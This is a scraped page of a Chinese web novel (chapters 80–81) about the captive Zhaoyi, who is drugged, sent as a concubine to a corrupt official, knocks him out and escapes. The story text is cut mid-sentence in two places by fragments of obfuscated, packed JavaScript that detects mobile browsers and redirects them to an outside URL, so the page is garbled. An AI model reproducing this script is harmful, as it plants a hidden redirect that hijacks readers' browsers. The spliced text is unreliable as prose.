l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235039|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这是一个十分大的院子,里面有好几间屋子,被掳来的姑娘们都住在这里。 她们中有的人来了十几天了,有的人才刚来。 虽然这里的主人从未露面,但给每个姑娘的东西都应有尽有。 她们问起前来送饭的丫鬟小厮,也从未得到过回应。 这偌大个院子,只有她们几人能说说话。 被掳来的姑娘们,大多家中都较为普通,虽不是全都十分贫穷,但绝非大富大贵。 昭意听着旁边的姑娘说话,心中道了句那是当然。 就连沈府这样的门第,早就将事情都打听清楚了,说不定还花钱打点好了门道。 只有那些普通人家的姑娘还什么都不知情,独自上街被人寻着了机会掳了去。 不过来到这里的姑娘倒也不是个个都惊慌害怕。 有的人也正因为往日家中太过清贫,来到这府里的几日享受到了府中小姐的待遇,竟有几分依恋上了。 昭意躺了有一会儿,脑袋也清醒了些。 她坐起身来,就看到远处刚才还叽叽喳喳说着话的女子往她脸上扫了一眼,便鄙夷地扭过头去。 昭意看向旁边的姑娘,道了声“多谢”。 那姑娘朝她笑了笑,“没事,你唤我小湖便好。” 昭意往远处那几人方向看,虽听不到那些人说什么,但只看着她们的神态表情,就知说的肯定不是什么好话。 小湖扯了扯昭意的袖子,“别在意,她们就爱仗着自己来得早排挤别人。” 昭意点了点头,转身看向她,“她们不想回去,那你呢?” 小湖愣了愣,低头苦涩一笑,“这哪儿是我能决定的?” 她叹了口气,“我来这里几天了,除了送饭来的小厮丫鬟,就没见过别人。不知那些人抓我们来到底是为了什么,也不知我们什么时候才能回去。” 说完,她就垂着眼不说话了。 昭意笑了笑,“应是快了。” 小湖没有追问,只当昭意是在安慰她。 待到午时,本该来送饭的丫鬟和小厮却没有来。 这有些不同寻常。 姑娘们开始扎堆私语。 午时过后,锁着的院门开了,饿得饥肠辘辘的姑娘们看了过去,来的不是小厮丫鬟,而是蒙着面的几个人。 众人面露讶异。 除了被掳走那天,她们就再没见过这些蒙面人。 而蒙面的人进来后,冷眼扫了她们一眼,就道:“带走。” 众人沸腾起来,有惊喜的,有惶恐的。 但无论怎样,都只能听着蒙面人的人,站起身来朝门外走去。 在众人缓缓朝门口走去时,却见蒙面的其中一人走到昭意面前,“唰”地一声抽出刀来,横架在昭意脖颈上。 对方笑了一声,“你留下。” 昭意看着对方并不高的个头,以及那双露在外面的眼睛。 秦明川。 他用冰冷的刀锋挑起昭意的下巴。 这幅小人得志的模样,除了他就不会再有别人。 往外走的姑娘们朝她投来怜悯的目光。 小湖紧张地看了昭意一眼,只是目光落在那刀锋时,她便低了头,出了门。 待院中姑娘都离开后,秦明川才摘下面罩。 他阴笑一声,“秦昭意,兜兜转转,你还不是被我抓来了秦府?” 81. 第 81 章 州府 昭意冷眼看着他,虽没说话,但眼中的嘲讽意味十足,引得秦明川大怒。 他用力掐着昭意的下巴,恨不得现在掐的是她的脖子。 秦明川忍了忍,不知想到了什么,最终还是松了手。 他站了起来,阴恻恻朝她一笑,对身后的人道:“给她吃的。” 说罢,秦明川头也不回地走出了院子,生怕自己晚了一步就忍不住去掐死昭意。 门口跑来个端着托盘的小厮,托盘里有几道菜和一碗白米饭。 昭意不信秦明川能有这么好心。 她只尝了一口,就敏锐地发觉了这饭菜里下了别的东西。 昭意沉默了一会儿。 如今秦府还得将她好好地送去州上,应当不会对她下十分狠毒的药。 而且如果不吃饭,她就没有力气去做后面的事情。 权衡了一会儿,昭意还是拿起筷子,扒拉了几下,将饭通通咽下去。 或许是怕昭意做些伤害自己的事情,那小厮站在旁边眼巴巴地看着她吃完后,将饭碗全都收走。 整个院里都没有锋利的东西。 昭意环视着周围,这里只有她一人了。 先前虽吵了些,但好歹人多,如今那小厮一走,周围都安静了下来。 昭意叹了口气。 每当这种时候,她就想到珩则了。 以前自己过惯了一个人的生活还好,但后来习惯了身边有人,现在想来还有几分不适应。 昭意看了眼日头,估摸着这个时候他已经看到那几封信了吧。 昨夜写信时,她犹豫了好久,其实她想说的话有很多。 昭意想让他再等等,若是她能活着,她就和他一起回苍山去。 可她又怕如果计划失败了,还空给他希望。 她已经做好最坏的打算,若是大仇不能报,或者不能活着出来,那也至少换来了那些无辜被抓入秦府的姑娘们的命运,她也不亏。 就不要再给应该还好好活着的人增添负担了。 于是思来想去,心中的千言万语最终成了寥寥几字——愿君平安喜乐,一路光辉。 珩则是个好人,虽然此时他孤身一人,但待他找回了记忆,找到了家人,一定会比现在过得更好。 昭意想着,不禁一叹。 窗外的风吹来,竟有几分冷意,她正想起身关窗,却惊讶地发现浑身无劲,甚至连手也抬不起来。 她愣了愣,立即反应过来。 应该是饭里的药生了效。 不知道是不是当时在苍山上把秦明川打怕了,叫他这么忌惮她,下了药来防止她逃跑。 昭意笑了一声。 如今空荡荡的院子,连个说话的人也没有,实在是有些孤单。 昭意翻了个身,干脆闭目养神,靠在床榻上沉沉睡去,以此消磨掉这些时光。 * 县令的队伍又出城了。 距离上次县令被刺杀过去不过才几日而已。 百姓们心中有疑惑,可却也不敢过问,毕竟这是关于县令的事情。 这次县令请了在周围扎营的军队护送,前前后后都围满了穿着盔甲的士兵,一般人不敢靠近。 早上出城时,昭意终于见到了那个多年未见的父亲。 他和记忆里的人变了很多,满头白发,双目沧桑,身形也矮了很多。 秦县令勾着腰,隔着马车与昭意对望了一眼。 那眼神中的复杂,昭意看不懂。 他道了句:“你和你娘长得很像。” 昭意闻言,实在想大笑。 只是情绪扭转了千回,她只嘲道:“是吗?你还记得我娘是什么模样?” 秦县令一愣,怔怔地看着昭意。 昭意似乎还怕他不够痛,靠近了车窗,瞪眼瞧着他,低声道:“那你肯定也不记得,我娘死前是什么模样吧?她恨你,恨你这个背弃心意,狼心狗肺的东西!” 昭意的话狠狠刺痛了秦县令。 他踉跄着后退了几步,不敢再去看她,匆匆忙忙走了。 昭意漠然盯着他的背影,心中嘲讽一笑。 其实她娘到死,也没有恨过这个人。 而且在她娘死后,昭意才知道姓秦的在外面还养着外室。 视线突然被人一挡,昭意对上了秦明川饱含怒气的双眼。 他顺着她的目光看了眼正在上车的秦县令,怒气冲冲地看了过来,一把扯下昭意车上的帘子,将外面挡了个严严实实。 昭意一愣,随即心中一笑。 看来,这几年来秦明川和那个女人过得日子也并非像她想象的一样幸福美满啊。 在路上时,小厮给她送了次饭。 小厮照旧站在马车外,等着昭意用完饭取碗。 他看了眼从车帘里递出来的空碗时,心里松了一口气,立即拿过碗筷转身而去。 木沧县到泉州城并不远,队伍早晨出发,午时便到了。 这一路有着军队的护送,一路无事。 一顶小轿抬入早已备好的院子。 丫鬟扶着身上没有多少力气的昭意坐到梳妆台前,立即就有妆娘前来给昭意上妆。 昭意五官并就精致,妆娘给她描了眉,在唇上染上艳红的口脂,只稍微打扮就叫旁人眼中生出惊艳来。 妆娘不知昭意的来历,只知有人给了银子让她来上妆,便赞叹道:“也不知哪家郎君有这般福分,新娘子竟这般好看。” 昭意盯着镜子里妆容精致的自己,没有说话。 不知这屋里的人知道她之后要去哪,要嫁的是什么人后,还会不会像如今这般羡慕。 昭意不语,妆娘只当她是紧张,便不再多问,笑了笑后出门去了。 一顶普通的小轿抬进来,另一顶通红的喜轿抬了出去。 木沧县这般送人过来,算上最好也只能是纳妾,因此不必等吉时,也不用过堂行大礼,只能一顶小轿从后门抬进官爷府中。 丫鬟引着昭意进了屋,让她坐到早就备好的喜床上等着唐全德来。 或是这唐全德真的收了不少姑娘来,这些丫鬟看着昭意早就见怪不怪,安排好人后,就站到门外候着去了。 听着脚步声一远去,昭意便揭下了头上的盖头。 不亏是俞娘说的贪官,就这么一间小小的屋子,里头的桌椅板凳都十分豪华。 昭意看了眼门和窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273784|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户外的几个身影。 外面日头还大亮着,实在不方便她行动。 唯一担心的就是唐全德在天黑之前来了,行动就会跟困难。 昭意目光在屋里扫视着,最后落在这燃着熏香的香炉上。 天色渐渐暗沉了下去,外面的丫鬟已经换了一轮了。 外头传来嬉闹的声音,一群人簇拥着一个男人走了进来。 一见到男人,院里的丫鬟纷纷朝他行了个礼。 男人喝得醉醺醺的,脸上绯红,眼神迷乱。 他瞅了一眼站在门边上的丫鬟,笑嘻嘻地歪过身子拦住她。 男人挑起丫鬟的下巴,大着舌头道:“听说今天的新娘子十分好看,可真?” 丫鬟颤巍巍地点了点头。 男人哈哈一笑,一把推开那丫鬟,“听说是木沧县选出来的美人,就让我看看美人究竟长什么模样!” 说罢,他一脚踢门进去。 门外的丫鬟们早就见惯了这架势,连忙上前去将门锁上,对视一眼后,退后院外去了。 府里的人都知道,唐全德有些奇怪的癖好,每次被送进去的女子都会被折磨得不成人样。 夜间经常能听到新娘子地哭喊声,十分瘆人。 因此丫鬟们经常退到院外候着,等第二日再进去收拾房屋。 而唐全德这边刚进了屋,就迷瞪瞪地朝着床上走去了。 一看床上果然坐了个女子,心中一阵畅快。 他走上前去,一把掀开女子头上的盖头,就不由得一愣。 眼前的女子双眼如秋水般澄澈,抬眼时十分灵动,而眼尾上的妆容又让她多添了几分妩媚。 唐全德一时看呆了眼。 上次木沧县送来那个长得还不如他府里的丫鬟,他大发雷霆后,那县令承诺这次一定送上一位闭月羞花的姑娘来。 原本以为不过是那县令夸大其词,却不料木沧县那等穷乡僻野的地方真有这等美人。 唐全德看了半天,才想起来道:“美人叫什么名字?” 昭意冲他一笑,顿时唐全德被迷花了眼似的,只看见昭意一张一合的红唇,却听不见她说什么。 唐全德连忙又问了一遍,“叫什么?” 为了听清昭意的话,唐全德连忙上前了几步。 就见昭意朝他笑着,还没听清美人嘴里说的到底是什么,就脑后剧烈一痛,两眼一翻栽了下去。 昭意手里拎着香炉。 这香炉似乎真的是金子做的,拎起来沉甸甸的。 昭意下手很重,香炉上还沾着血迹。 她看着倒在床边的人,撕了床帘来将人捆住,想了想,后塞了一团布料到他的嘴里。 确保他就算醒来也不能立刻将人喊来后,昭意才放下心来。 她打开了衣柜,里面都是花花绿绿的一堆衣服,昭意好不容易才找出来一件深色。 不知怎的,门外的丫鬟竟然一个都不在了。 昭意听着外面的动静,不像是有埋伏的样子。 她又回头看了眼躺在床上半死不活的人,瞧着天色已深,外面也点起了烛火。 昭意犹豫了一会儿,一咬牙,还是悄然出了门。